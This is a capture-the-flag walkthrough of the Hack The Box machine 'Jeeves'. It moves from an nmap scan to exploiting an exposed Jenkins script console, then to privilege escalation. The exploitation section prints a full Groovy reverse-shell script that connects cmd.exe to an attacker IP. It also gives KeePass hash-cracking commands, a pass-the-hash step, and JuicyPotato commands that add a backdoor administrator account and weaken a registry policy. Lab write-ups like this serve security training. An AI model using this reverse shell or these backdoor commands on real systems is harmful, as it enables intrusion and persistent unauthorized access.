# Jeeves

**Difficulty:&#x20;**<mark style="color:red;">**HARD**</mark>

## Reconnaissance

### Nmap

```java
Nmap scan report for 10.10.10.63
Host is up (0.35s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-03-26T17:29:27
|_  start_date: 2023-03-26T17:21:07
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 40s, deviation: 0s, median: 40s
```

### HTTP - Port 80

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2F6TKaSQVNxKshlO1cP5Im%2Fhttp80_1.png?alt=media&#x26;token=0f6a5ac6-af33-40b0-aa60-b640f6a838e1" alt=""><figcaption></figcaption></figure>

Enumerating the port 80 you can see that there is **askjenkins** service.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FRxBKurnXceDKxTKlUuzl%2Fhttp80_2.png?alt=media&#x26;token=622c0782-8d9f-4a8e-bbad-402dad04cc7f" alt=""><figcaption></figcaption></figure>

Here when you search something it throws an error but is an image.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2F7zL46YeIuhiNPnpvAnkB%2Fhttp80_3.png?alt=media&#x26;token=f1f45fc0-448e-4a21-a227-bc1211843ed1" alt=""><figcaption></figcaption></figure>

There is just an error.html and nothing else even when you search something.

So, at the first view a think this was a rabbit hole to make us waste our time.

### HTTP Jetty - Port 50000

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FACCllBd3Rnbn1KcpWNwA%2Fport50000.png?alt=media&#x26;token=df1a2f62-0ec5-4058-b4f6-7e29cc6522d9" alt=""><figcaption></figcaption></figure>

Starting to Enumerate the http ports by fuzzing their url's.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FIDqvUfV2BEOR7Y0R7sz6%2Ffreoxbuster_jeeves.png?alt=media&#x26;token=f991f278-3041-4053-900f-4789bcae39ba" alt=""><figcaption></figcaption></figure>

We found something a **jenkins** server in the port **50000** so, this can be our opportunity to gain a foothold on the machine.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FmZM9nuF32Q8uPEckumLO%2Fjenkins_dashboard.png?alt=media&#x26;token=0fd39eac-51a2-4af2-9ae8-530d9861aca5" alt=""><figcaption></figcaption></figure>

When you enter the **askjeeves** directory you see that we can edit things here.

Time to exploit this : }

### SMB & NetBIOS - Port 445/139

You cannot see any files and vulns here, nothing interesting.

## Exploitation

### HTTP Jetty - Port 50000

To exploit Jenkins using the script console use the following script and change the variables to your IP and so on.

Remember set your **netcat** with the specified port first to get the **cmd shell**.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FBFjG2BfAiqUQhwQ52Kq4%2Fgroovybackdoor.png?alt=media&#x26;token=e13e383e-bb37-405f-bf3f-b9cde991dd47" alt=""><figcaption></figcaption></figure>

{% code title="Backdoor script for jenkins" %}

```groovy
String host="<your-IP>";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FdMVJWmtQgiTAQXH7rnTJ%2Fgettingshell.png?alt=media&#x26;token=e44313ec-a724-46e3-915f-61b7ccb32f40" alt=""><figcaption></figcaption></figure>

Here you can see that we gain access to the system.

## Privilege escalation

There are 2 different ways to root the machine.

### Method 1

The first method is to look for in some directories and you will find a kdbx database so, you can download this to start cracking the database of passwords.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FTN7IMuW10wl53Sw2x6Sd%2Fdownloading_kdbx.png?alt=media&#x26;token=e7ee6090-822c-45f4-b1bc-8e386d77cb45" alt=""><figcaption></figcaption></figure>

To make the crackeable hash use the following commands

```bash
keepass2john CEH.kdbx # Copy the hash and paste it in a file
john -w=<wordlists> hashfile # Use a wordlists to crack the password
```

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FrgG7FKW8PsKpTDfdFFIO%2Fcrackedpass.png?alt=media&#x26;token=7561356c-8ebd-49cf-be32-084fc84294cf" alt=""><figcaption></figcaption></figure>

Once you have the password, open the database with keepassxc and use the cracked password.

You'll see different passwords, but the most interesting is the first one, beacuse we have an NTLMv1 hash and we can use it to try pass the hash with the user administrator and others.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FRadijtrR6rK88rr7dW0g%2Flm_hash.png?alt=media&#x26;token=8374ee5c-0aaf-4cfb-89fd-cf4e44bff121" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2F9ep6SMoV00Y5foq7C0kZ%2Fpassthehash.png?alt=media&#x26;token=f661151a-f1c7-4900-99a5-3c11ff0c19c4" alt=""><figcaption></figcaption></figure>

Here we try to pass the hash to the use admin in the machine and fortunately is the hash of the user admin.

So, you can gain a shell using **psexec** to get **nt authority** privileges.

### Method 2

Enumerating the privileges information, we can see that the **SeImpersonatePrivilege** is enable so, we can exploit this using the juicypotato binary.

{% embed url="<https://github.com/ohpe/juicy-potato>" %}

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FoAw6042lomhwx7PzttZe%2Fseimpersonate1.png?alt=media&#x26;token=4f94f7fc-109b-45f3-a13f-46ed3b21bd23" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FV7xvAAys65IvGdzCTATV%2Fsmbserver_juicypotato.png?alt=media&#x26;token=15305ac9-bbb5-41d8-a974-5abd8f588dbd" alt=""><figcaption></figcaption></figure>

Once we download the binary to the machine, I'll start doing a backdoor user and assigning to it administrator privileges.

```
.\JuicyPotato.exe -t * -p C:\Windows\system32\cmd.exe -a "/c net user papishampoo hacker123#$ /add " -l 1337
```

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FfPxTHPQ5X1iY9gmnYQra%2Fjuicypotato_add_user.png?alt=media&#x26;token=9044e93c-311f-4282-8da1-41ca7fabe955" alt=""><figcaption></figcaption></figure>

Now set the administrator group to papishampoo.

```
.\JuicyPotato.exe -t * -p C:\Windows\system32\cmd.exe -a "/c net localgroup Administrators papishampoo /add" -l 1337
```

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FwxIMPGDMMC3rXBnuYqwg%2Fadding_to_admingroup.png?alt=media&#x26;token=6a3bf76a-a1d2-4f78-9cf9-aa3522f70caa" alt=""><figcaption></figcaption></figure>

After those two commands we need to modify it in the windows registry too using the following.

```
.\JuicyPotato.exe -t * -p C:\Windows\system32\cmd.exe -a "/c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f" -l 1337
```

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FYYcu4dZtQdSGtDa3J8XT%2Fregistry_edit_to_pwned.png?alt=media&#x26;token=b9b647a6-bbab-4aae-882f-a796e5b89a2c" alt=""><figcaption></figcaption></figure>

Now use **crackmapexec** to see if we have the **administrator privileges.**

We can that we pwned as well by doing this.
